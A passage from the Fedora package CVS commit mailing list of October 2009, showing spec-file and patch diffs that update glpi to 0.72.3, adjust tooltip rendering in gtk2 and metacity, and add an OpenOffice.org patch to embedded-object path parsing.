Subject: rpms/glpi/F-12 glpi.spec,1.27,1.28 sources,1.19,1.20
Message-ID: <20091028190820.E203D11C00E5@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/glpi/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19866

Modified Files:
	glpi.spec sources 
Log Message:
update to 0.72.3 (bugfix)


Index: glpi.spec
===================================================================
RCS file: /cvs/extras/rpms/glpi/F-12/glpi.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- glpi.spec	9 Sep 2009 14:16:44 -0000	1.27
+++ glpi.spec	28 Oct 2009 19:08:20 -0000	1.28
@@ -4,10 +4,10 @@
 %global useselinux 0
 %endif
 
-%global tarballversion 0.72.21
+%global tarballversion 0.72.3
 
 Name:           glpi
-Version:        0.72.2.1
+Version:        0.72.3
 Release:        1%{?dist}
 Summary:        Free IT asset management software
 Summary(fr):    Gestion Libre de Parc Informatique
@@ -71,7 +71,7 @@ rm lib/extjs/{CHANGES.html,INCLUDE_ORDER
 mv lib/icalcreator/lgpl.txt LICENSE.icalcreator
 mv lib/phpcas/COPYRIGHT     LICENSE.phpcas
 mv lib/phpcas/README        README.phpcas
-rm scripts/glpi_cron_curl.sh
+rm scripts/glpi_cron_*.sh
 
 dos2unix -o LICENSE.tiny_mce
 for fic in LISEZMOI.txt README.txt
@@ -218,6 +218,9 @@ fi
 
 
 %changelog
+* Tue Oct 27 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.72.3-1
+- update to 0.72.3
+
 * Wed Sep 09 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.72.2.1-1
 - update to 0.72.21
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/glpi/F-12/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	9 Sep 2009 14:16:44 -0000	1.19
+++ sources	28 Oct 2009 19:08:20 -0000	1.20
@@ -1 +1 @@
-495eacd40c30ccb9cd71e85f3af82009  glpi-0.72.21.tar.gz
+f8379e0a92ddc7a76b2232147f38ff21  glpi-0.72.3.tar.gz



From remi at fedoraproject.org  Wed Oct 28 19:13:13 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Wed, 28 Oct 2009 19:13:13 +0000 (UTC)
Subject: rpms/glpi/F-11 glpi.spec,1.25,1.26 sources,1.18,1.19
Message-ID: <20091028191313.23E6111C00E5@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/glpi/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20334

Modified Files:
	glpi.spec sources 
Log Message:
update to 0.72.3 (bugfix)


Index: glpi.spec
===================================================================
RCS file: /cvs/extras/rpms/glpi/F-11/glpi.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- glpi.spec	9 Sep 2009 15:10:22 -0000	1.25
+++ glpi.spec	28 Oct 2009 19:13:12 -0000	1.26
@@ -4,10 +4,10 @@
 %global useselinux 0
 %endif
 
-%global tarballversion 0.72.21
+%global tarballversion 0.72.3
 
 Name:           glpi
-Version:        0.72.2.1
+Version:        0.72.3
 Release:        1%{?dist}
 Summary:        Free IT asset management software
 Summary(fr):    Gestion Libre de Parc Informatique
@@ -71,7 +71,7 @@ rm lib/extjs/{CHANGES.html,INCLUDE_ORDER
 mv lib/icalcreator/lgpl.txt LICENSE.icalcreator
 mv lib/phpcas/COPYRIGHT     LICENSE.phpcas
 mv lib/phpcas/README        README.phpcas
-rm scripts/glpi_cron_curl.sh
+rm scripts/glpi_cron_*.sh
 
 dos2unix -o LICENSE.tiny_mce
 for fic in LISEZMOI.txt README.txt
@@ -218,11 +218,20 @@ fi
 
 
 %changelog
+* Tue Oct 27 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.72.3-1
+- update to 0.72.3
+
 * Wed Sep 09 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.72.2.1-1
 - update to 0.72.21
+
+* Tue Aug 18 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.72.1-1.svn8743
+- update to 0.72.1 svn revision 8743
 - use system PHPMailer
 - now requires php > 5
 
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.71.6-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jun 02 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.71.6-1
 - update to 0.71.6 (Bugfix Release)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/glpi/F-11/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	9 Sep 2009 15:10:22 -0000	1.18
+++ sources	28 Oct 2009 19:13:12 -0000	1.19
@@ -1 +1 @@
-495eacd40c30ccb9cd71e85f3af82009  glpi-0.72.21.tar.gz
+f8379e0a92ddc7a76b2232147f38ff21  glpi-0.72.3.tar.gz



From remi at fedoraproject.org  Wed Oct 28 19:18:43 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Wed, 28 Oct 2009 19:18:43 +0000 (UTC)
Subject: rpms/glpi/F-10 glpi.spec,1.24,1.25 sources,1.18,1.19
Message-ID: <20091028191843.6A1EE11C00E5@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/glpi/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20959

Modified Files:
	glpi.spec sources 
Log Message:
update to 0.72.3 (bugfix)


Index: glpi.spec
===================================================================
RCS file: /cvs/extras/rpms/glpi/F-10/glpi.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- glpi.spec	9 Sep 2009 16:21:34 -0000	1.24
+++ glpi.spec	28 Oct 2009 19:18:43 -0000	1.25
@@ -4,10 +4,10 @@
 %global useselinux 0
 %endif
 
-%global tarballversion 0.72.21
+%global tarballversion 0.72.3
 
 Name:           glpi
-Version:        0.72.2.1
+Version:        0.72.3
 Release:        1%{?dist}
 Summary:        Free IT asset management software
 Summary(fr):    Gestion Libre de Parc Informatique
@@ -71,7 +71,7 @@ rm lib/extjs/{CHANGES.html,INCLUDE_ORDER
 mv lib/icalcreator/lgpl.txt LICENSE.icalcreator
 mv lib/phpcas/COPYRIGHT     LICENSE.phpcas
 mv lib/phpcas/README        README.phpcas
-rm scripts/glpi_cron_curl.sh
+rm scripts/glpi_cron_*.sh
 
 dos2unix -o LICENSE.tiny_mce
 for fic in LISEZMOI.txt README.txt
@@ -218,11 +218,20 @@ fi
 
 
 %changelog
+* Tue Oct 27 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.72.3-1
+- update to 0.72.3
+
 * Wed Sep 09 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.72.2.1-1
 - update to 0.72.21
+
+* Tue Aug 18 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.72.1-1.svn8743
+- update to 0.72.1 svn revision 8743
 - use system PHPMailer
 - now requires php > 5
 
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.71.6-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jun 02 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.71.6-1
 - update to 0.71.6 (Bugfix Release)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/glpi/F-10/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	9 Sep 2009 16:21:34 -0000	1.18
+++ sources	28 Oct 2009 19:18:43 -0000	1.19
@@ -1 +1 @@
-495eacd40c30ccb9cd71e85f3af82009  glpi-0.72.21.tar.gz
+f8379e0a92ddc7a76b2232147f38ff21  glpi-0.72.3.tar.gz



From remi at fedoraproject.org  Wed Oct 28 19:25:32 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Wed, 28 Oct 2009 19:25:32 +0000 (UTC)
Subject: rpms/glpi/EL-5 glpi.spec,1.15,1.16 sources,1.11,1.12
Message-ID: <20091028192532.8EC1711C00E5@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/glpi/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21990

Modified Files:
	glpi.spec sources 
Log Message:
update to 0.72.3 (bugfix)


Index: glpi.spec
===================================================================
RCS file: /cvs/extras/rpms/glpi/EL-5/glpi.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- glpi.spec	9 Sep 2009 16:45:38 -0000	1.15
+++ glpi.spec	28 Oct 2009 19:25:32 -0000	1.16
@@ -4,10 +4,10 @@
 %global useselinux 0
 %endif
 
-%global tarballversion 0.72.21
+%global tarballversion 0.72.3
 
 Name:           glpi
-Version:        0.72.2.1
+Version:        0.72.3
 Release:        1%{?dist}
 Summary:        Free IT asset management software
 Summary(fr):    Gestion Libre de Parc Informatique
@@ -71,7 +71,7 @@ rm lib/extjs/{CHANGES.html,INCLUDE_ORDER
 mv lib/icalcreator/lgpl.txt LICENSE.icalcreator
 mv lib/phpcas/COPYRIGHT     LICENSE.phpcas
 mv lib/phpcas/README        README.phpcas
-rm scripts/glpi_cron_curl.sh
+rm scripts/glpi_cron_*.sh
 
 dos2unix -o LICENSE.tiny_mce
 for fic in LISEZMOI.txt README.txt
@@ -218,11 +218,20 @@ fi
 
 
 %changelog
+* Tue Oct 27 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.72.3-1
+- update to 0.72.3
+
 * Wed Sep 09 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.72.2.1-1
 - update to 0.72.21
+
+* Tue Aug 18 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.72.1-1.svn8743
+- update to 0.72.1 svn revision 8743
 - use system PHPMailer
 - now requires php > 5
 
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.71.6-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jun 02 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.71.6-1
 - update to 0.71.6 (Bugfix Release)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/glpi/EL-5/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	9 Sep 2009 16:45:38 -0000	1.11
+++ sources	28 Oct 2009 19:25:32 -0000	1.12
@@ -1 +1 @@
-495eacd40c30ccb9cd71e85f3af82009  glpi-0.72.21.tar.gz
+f8379e0a92ddc7a76b2232147f38ff21  glpi-0.72.3.tar.gz



From mclasen at fedoraproject.org  Wed Oct 28 19:38:14 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 28 Oct 2009 19:38:14 +0000 (UTC)
Subject: rpms/gtk2/F-12 fresh-tooltips.patch,1.5,1.6 gtk2.spec,1.426,1.427
Message-ID: <20091028193814.1E3E111C00E5@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25685

Modified Files:
	fresh-tooltips.patch gtk2.spec 
Log Message:
more tooltip fixes


fresh-tooltips.patch:
 gtk/gtkwidget.c         |    8 +
 hacked/gtk/gtktooltip.c |  276 ++++++++++++++++++++++++++++++++++++++++++++----
 2 files changed, 265 insertions(+), 19 deletions(-)

Index: fresh-tooltips.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/fresh-tooltips.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- fresh-tooltips.patch	28 Oct 2009 16:18:39 -0000	1.5
+++ fresh-tooltips.patch	28 Oct 2009 19:38:13 -0000	1.6
@@ -55,10 +55,10 @@
 +  if (rgba)
 +    gtk_widget_set_colormap (tooltip->window, rgba);
 +
-+#if 0
++
    gtk_window_set_type_hint (GTK_WINDOW (tooltip->window),
  			    GDK_WINDOW_TYPE_HINT_TOOLTIP);
-+#endif
++
 +
    gtk_widget_set_app_paintable (tooltip->window, TRUE);
    gtk_window_set_resizable (GTK_WINDOW (tooltip->window), FALSE);
@@ -350,3 +350,20 @@
  	   *x, *y);
  #endif
  
+--- gtk+-2.18.3/gtk/gtkwidget.c	2009-10-09 01:00:44.000000000 -0400
++++ hacked/gtk/gtkwidget.c	2009-10-28 10:53:01.569855420 -0400
+@@ -2386,6 +2386,14 @@
+                                                              P_("The length of vertical scroll arrows"),
+                                                              1, G_MAXINT, 16,
+                                                              GTK_PARAM_READABLE));
++
++  gtk_widget_class_install_style_property (klass,
++                                           g_param_spec_boolean ("new-tooltip-style",
++                                                                 NULL,
++                                                                 NULL,
++                                                                 FALSE,
++                                                                 GTK_PARAM_READABLE));
++
+ }
+ 
+ static void


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.426
retrieving revision 1.427
diff -u -p -r1.426 -r1.427
--- gtk2.spec	28 Oct 2009 16:18:39 -0000	1.426
+++ gtk2.spec	28 Oct 2009 19:38:13 -0000	1.427
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 13%{?dist}
+Release: 14%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -35,6 +35,8 @@ Patch3: image-size-alloc.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=599617
 Patch4: fresh-tooltips.patch
 # from upstream
+Patch5: allow-set-hint.patch
+# from upstream
 Patch6: compose-sequences.patch
 # from upstream
 Patch7: symbolic-color-parsing.patch
@@ -159,6 +161,7 @@ This package contains developer document
 %patch2 -p1 -b .icon-padding
 %patch3 -p1 -b .image-size-alloc
 %patch4 -p1 -b .fresh-tooltips
+%patch5 -p1 -b .allow-set-hint
 %patch6 -p1 -b .compose-sequences
 %patch7 -p1 -b .symbolic-color-parsing
 %patch8 -p1 -b .tooltip-positioning
@@ -400,7 +403,7 @@ fi
 
 
 %changelog
-* Wed Oct 28 2009 Matthias Clasen <mclasen at redhta.com> - 2.18.3-13
+* Wed Oct 28 2009 Matthias Clasen <mclasen at redhta.com> - 2.18.3-14
 - Make the new tooltips sharp
 - Improve the Metacity compositor workaround for new tooltips
 



From mclasen at fedoraproject.org  Wed Oct 28 19:40:02 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 28 Oct 2009 19:40:02 +0000 (UTC)
Subject: rpms/metacity/F-12 fresh-tooltips.patch, 1.2, 1.3 metacity.spec,
	1.207, 1.208
Message-ID: <20091028194002.2DF9511C02C6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/metacity/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25823

Modified Files:
	fresh-tooltips.patch metacity.spec 
Log Message:
even sharper


fresh-tooltips.patch:
 fixedtip.c |  260 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++----
 1 file changed, 243 insertions(+), 17 deletions(-)

Index: fresh-tooltips.patch
===================================================================
RCS file: /cvs/pkgs/rpms/metacity/F-12/fresh-tooltips.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- fresh-tooltips.patch	28 Oct 2009 16:39:33 -0000	1.2
+++ fresh-tooltips.patch	28 Oct 2009 19:40:01 -0000	1.3
@@ -1,7 +1,7 @@
 diff -up metacity-2.28.0/src/ui/fixedtip.c.fresh-tooltips metacity-2.28.0/src/ui/fixedtip.c
---- metacity-2.28.0/src/ui/fixedtip.c.fresh-tooltips	2009-10-28 12:23:19.134105834 -0400
-+++ metacity-2.28.0/src/ui/fixedtip.c	2009-10-28 12:30:04.565110123 -0400
-@@ -50,33 +50,195 @@ static int screen_right_edge = 0;
+--- metacity-2.28.0/src/ui/fixedtip.c.fresh-tooltips	2009-10-28 12:32:09.098105658 -0400
++++ metacity-2.28.0/src/ui/fixedtip.c	2009-10-28 15:33:52.419756065 -0400
+@@ -50,33 +50,237 @@ static int screen_right_edge = 0;
   */
  static int screen_bottom_edge = 0;
  
@@ -103,6 +103,15 @@ diff -up metacity-2.28.0/src/ui/fixedtip
 +  cairo_t *cr;
 +  gint width, height;
 +  gint radius;
++  gboolean new_style;
++
++  gtk_widget_style_get (window, "new-tooltip-style", &new_style, NULL);
++
++  if (!new_style)
++    {
++      gtk_widget_shape_combine_mask (window, NULL, 0, 0);
++      return;
++    }
 +
 +  gtk_window_get_size (GTK_WINDOW (window), &width, &height);
 +
@@ -146,25 +155,44 @@ diff -up metacity-2.28.0/src/ui/fixedtip
 +  cairo_t         *context;
 +  cairo_surface_t *surface;
 +  cairo_t         *cr;
++  gboolean new_style;
 +
-+  context = gdk_cairo_create (window->window);
++  gtk_widget_style_get (window, "new-tooltip-style", &new_style, NULL);
 +
-+  cairo_set_operator (context, CAIRO_OPERATOR_SOURCE);
-+  surface = cairo_surface_create_similar (cairo_get_target (context),
-+                                          CAIRO_CONTENT_COLOR_ALPHA,
-+                                          window->allocation.width,
-+                                          window->allocation.height);
-+  cr = cairo_create (surface);
-+
-+  fill_background (window, cr);
++  if (new_style)
++    {
++      context = gdk_cairo_create (window->window);
 +
-+  cairo_destroy (cr);
-+  cairo_set_source_surface (context, surface, 0, 0);
-+  cairo_paint (context);
-+  cairo_surface_destroy (surface);
-+  cairo_destroy (context);
++      cairo_set_operator (context, CAIRO_OPERATOR_SOURCE);
++      surface = cairo_surface_create_similar (cairo_get_target (context),
++                                              CAIRO_CONTENT_COLOR_ALPHA,
++                                              window->allocation.width,
++                                              window->allocation.height);
++      cr = cairo_create (surface);
++
++      fill_background (window, cr);
++
++      cairo_destroy (cr);
++      cairo_set_source_surface (context, surface, 0, 0);
++      cairo_paint (context);
++      cairo_surface_destroy (surface);
++      cairo_destroy (context);
 +
-+  update_shape (window);
++      update_shape (window);
++    }
++  else
++    {
++      gtk_paint_flat_box (window->style,
++                          window->window,
++                          GTK_STATE_NORMAL,
++                          GTK_SHADOW_OUT,
++                          NULL,
++                          window,
++                          "tooltip",
++                          0, 0,
++                          window->allocation.width,
++                          window->allocation.height);
++    }
  
    return FALSE;
  }
@@ -183,6 +211,20 @@ diff -up metacity-2.28.0/src/ui/fixedtip
 +}
 +#endif
 +
++static void
++on_style_set (GtkWidget *widget, GtkStyle *prev)
++{
++  GtkWidget *alignment;
++
++  alignment = gtk_bin_get_child (GTK_BIN (widget));
++  gtk_alignment_set_padding (GTK_ALIGNMENT (alignment),
++                             widget->style->ythickness,
++                             widget->style->ythickness,
++                             widget->style->xthickness,
++                             widget->style->xthickness);
++  gtk_widget_queue_draw (widget);
++}
++
  void
  meta_fixed_tip_show (Display *xdisplay, int screen_number,
                       int root_x, int root_y,
@@ -206,7 +248,7 @@ diff -up metacity-2.28.0/src/ui/fixedtip
  
          gdk_screen = gdk_display_get_screen (gdk_display_get_default (),
                                               screen_number);
-@@ -86,22 +248,41 @@ meta_fixed_tip_show (Display *xdisplay, 
+@@ -86,25 +290,47 @@ meta_fixed_tip_show (Display *xdisplay, 
  	gdk_screen_get_monitor_geometry (gdk_screen, mon_num, &monitor);
  	screen_right_edge = monitor.x + monitor.width;
  	screen_bottom_edge = monitor.y + monitor.height;
@@ -256,3 +298,9 @@ diff -up metacity-2.28.0/src/ui/fixedtip
  
        g_signal_connect (tip, "destroy",
  			G_CALLBACK (gtk_widget_destroyed), &tip);
++
++      g_signal_connect_swapped (tip, "style-set",
++                                G_CALLBACK (on_style_set), NULL);
+     }
+ 
+   gtk_label_set_markup (GTK_LABEL (label), markup_text);


Index: metacity.spec
===================================================================
RCS file: /cvs/pkgs/rpms/metacity/F-12/metacity.spec,v
retrieving revision 1.207
retrieving revision 1.208
diff -u -p -r1.207 -r1.208
--- metacity.spec	28 Oct 2009 16:39:33 -0000	1.207
+++ metacity.spec	28 Oct 2009 19:40:01 -0000	1.208
@@ -1,7 +1,7 @@
 Summary: Unobtrusive window manager
 Name: metacity
 Version: 2.28.0
-Release: 5%{?dist}
+Release: 6%{?dist}
 URL: http://download.gnome.org/sources/metacity/
 Source0: http://download.gnome.org/sources/metacity/2.28/metacity-%{version}.tar.bz2
 # http://bugzilla.gnome.org/show_bug.cgi?id=558723
@@ -194,7 +194,7 @@ fi
 %{_mandir}/man1/metacity-window-demo.1.gz
 
 %changelog
-* Wed Oct 28 2009 Matthias Clasen <mclasen at redhat.cm> - 2.28.0-5
+* Wed Oct 28 2009 Matthias Clasen <mclasen at redhat.cm> - 2.28.0-6
 - Make tooltips look sharper
 
 * Wed Oct 21 2009 Matthias Clasen <mclasen at redhat.cm> - 2.28.0-4



From mclasen at fedoraproject.org  Wed Oct 28 19:45:14 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 28 Oct 2009 19:45:14 +0000 (UTC)
Subject: rpms/gtk2/F-12 allow-set-hint.patch,NONE,1.1
Message-ID: <20091028194514.DB32011C00E5@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27476

Added Files:
	allow-set-hint.patch 
Log Message:
forgotten patch


allow-set-hint.patch:
 gtkwindow.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE allow-set-hint.patch ---
--- gtk+-2.18.3/gtk/gtkwindow.c	2009-10-09 01:00:44.000000000 -0400
+++ hacked/gtk/gtkwindow.c	2009-10-28 11:45:33.583105288 -0400
@@ -2414,7 +2414,7 @@
   GtkWindowPrivate *priv;
 
   g_return_if_fail (GTK_IS_WINDOW (window));
-  g_return_if_fail (!GTK_WIDGET_VISIBLE (window));
+  g_return_if_fail (!GTK_WIDGET_MAPPED (window));
 
   priv = GTK_WINDOW_GET_PRIVATE (window);
 



From caolanm at fedoraproject.org  Wed Oct 28 20:37:18 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Wed, 28 Oct 2009 20:37:18 +0000 (UTC)
Subject: rpms/openoffice.org/F-12 workspace.chart41.patch, NONE,
	1.1 openoffice.org.spec, 1.2024, 1.2025
Message-ID: <20091028203718.77D1011C00E5@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11514/F-12

Modified Files:
	openoffice.org.spec 
Added Files:
	workspace.chart41.patch 
Log Message:
Resolves: rhbz#531554 add workspace.chart41.patch (caolanm)

workspace.chart41.patch:
 xmleohlp.cxx |   28 +++++++++++++++++++++++-----
 1 file changed, 23 insertions(+), 5 deletions(-)

--- NEW FILE workspace.chart41.patch ---
diff -r b35923844c43 -r edc399361b6d svx/source/xml/xmleohlp.cxx
--- a/svx/source/xml/xmleohlp.cxx	Mon Sep 14 10:36:01 2009 +0000
+++ b/svx/source/xml/xmleohlp.cxx	Mon Sep 14 11:57:16 2009 +0000
@@ -326,11 +326,29 @@
 		}
 		else
 		{
-			sal_Int32 nPathStart = 0;
-			if( 0 == aURLNoPar.compareToAscii( "./", 2 ) )
-				nPathStart = 2;
-			if( _nPos >= nPathStart )
-				rContainerStorageName = aURLNoPar.copy( nPathStart, _nPos-nPathStart);
+            //eliminate 'superfluous' slashes at start and end
+            //#i103076# load objects with all allowed xlink:href syntaxes
+            {
+                //eliminate './' at start
+			    sal_Int32 nStart = 0;
+                sal_Int32 nCount = aURLNoPar.getLength();
+			    if( 0 == aURLNoPar.compareToAscii( "./", 2 ) )
+                {
+				    nStart = 2;
+                    nCount -= 2;
+                }
+
+                //eliminate '/' at end
+                sal_Int32 nEnd = aURLNoPar.lastIndexOf( '/' );
+                if( nEnd == aURLNoPar.getLength()-1 && nEnd != (nStart-1) )
+                    nCount--;
+
+                aURLNoPar = aURLNoPar.copy( nStart, nCount );
+            }
+
+            _nPos = aURLNoPar.lastIndexOf( '/' );
+            if( _nPos >= 0 )
+				rContainerStorageName = aURLNoPar.copy( 0, _nPos );
 			rObjectStorageName = aURLNoPar.copy( _nPos+1 );
 		}
 	}


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/openoffice.org.spec,v
retrieving revision 1.2024
retrieving revision 1.2025
diff -u -p -r1.2024 -r1.2025
--- openoffice.org.spec	28 Oct 2009 13:56:39 -0000	1.2024
+++ openoffice.org.spec	28 Oct 2009 20:37:17 -0000	1.2025
@@ -166,6 +166,7 @@ Patch89: openoffice.org-3.1.1.oooXXXXXX.
 Patch90: openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch
 Patch91: workspace.impress178.patch
 Patch92: openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch
+Patch93: workspace.chart41.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1718,6 +1719,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch90 -p0 -b .ooo105988.svx.a11ycrash.patch
 %patch91 -p0 -b .workspace.impress178.patch
 %patch92 -p0 -b .ooo106130.svx.removedeletedshapes.patch
+%patch93 -p1 -b .workspace.chart41.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4254,6 +4256,7 @@ fi
 * Wed Oct 28 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.14
 - Resolves: ooo#103757 custom shape cut and paste (caolanm)
 - Resolves: rhbz#529746 crash on exit after loading .ppt (caolanm)
+- Resolves: rhbz#531554 add workspace.chart41.patch (caolanm)
 
 * Mon Oct 19 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.13
 - Resolves: ooo#105988 a11y crash in impress (caolanm)



From caolanm at fedoraproject.org  Wed Oct 28 20:37:18 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Wed, 28 Oct 2009 20:37:18 +0000 (UTC)
Subject: rpms/openoffice.org/F-11 workspace.chart41.patch, NONE,
	1.1 openoffice.org.spec, 1.1937, 1.1938
Message-ID: <20091028203718.125F811C00E5@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11514/F-11

Modified Files:
	openoffice.org.spec 
Added Files:
	workspace.chart41.patch 
Log Message:
Resolves: rhbz#531554 add workspace.chart41.patch (caolanm)

workspace.chart41.patch:
 xmleohlp.cxx |   28 +++++++++++++++++++++++-----
 1 file changed, 23 insertions(+), 5 deletions(-)

--- NEW FILE workspace.chart41.patch ---
diff -r b35923844c43 -r edc399361b6d svx/source/xml/xmleohlp.cxx
--- a/svx/source/xml/xmleohlp.cxx	Mon Sep 14 10:36:01 2009 +0000
+++ b/svx/source/xml/xmleohlp.cxx	Mon Sep 14 11:57:16 2009 +0000
@@ -326,11 +326,29 @@
 		}
 		else
 		{
-			sal_Int32 nPathStart = 0;
-			if( 0 == aURLNoPar.compareToAscii( "./", 2 ) )
-				nPathStart = 2;
-			if( _nPos >= nPathStart )
-				rContainerStorageName = aURLNoPar.copy( nPathStart, _nPos-nPathStart);
+            //eliminate 'superfluous' slashes at start and end
+            //#i103076# load objects with all allowed xlink:href syntaxes
+            {
+                //eliminate './' at start
+			    sal_Int32 nStart = 0;
+                sal_Int32 nCount = aURLNoPar.getLength();
+			    if( 0 == aURLNoPar.compareToAscii( "./", 2 ) )
+                {
+				    nStart = 2;
+                    nCount -= 2;
+                }
+
+                //eliminate '/' at end
+                sal_Int32 nEnd = aURLNoPar.lastIndexOf( '/' );
+                if( nEnd == aURLNoPar.getLength()-1 && nEnd != (nStart-1) )
+                    nCount--;
+
+                aURLNoPar = aURLNoPar.copy( nStart, nCount );
+            }
+
+            _nPos = aURLNoPar.lastIndexOf( '/' );
+            if( _nPos >= 0 )
+				rContainerStorageName = aURLNoPar.copy( 0, _nPos );
 			rObjectStorageName = aURLNoPar.copy( _nPos+1 );
 		}
 	}


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-11/openoffice.org.spec,v
retrieving revision 1.1937
retrieving revision 1.1938
diff -u -p -r1.1937 -r1.1938
--- openoffice.org.spec	21 Oct 2009 09:04:37 -0000	1.1937
+++ openoffice.org.spec	28 Oct 2009 20:37:16 -0000	1.1938
@@ -1,6 +1,6 @@
 %define oootag OOO310
 %define ooomilestone 19
-%define rh_rpm_release 4
+%define rh_rpm_release 5
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -158,6 +158,7 @@ Patch82: workspace.vcl102.patch
 Patch83: openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch
 Patch84: workspace.aw073.patch
 Patch85: openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch
+Patch86: workspace.chart41.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1674,6 +1675,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch83 -p0 -b .ooo104157.svx.crashonencryptparse.patch
 %patch84 -p0 -b .workspace.aw073.patch
 %patch85 -p0 -b .ooo106130.svx.removedeletedshapes.patch
+%patch86 -p1 -b .workspace.chart41.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4177,6 +4179,9 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
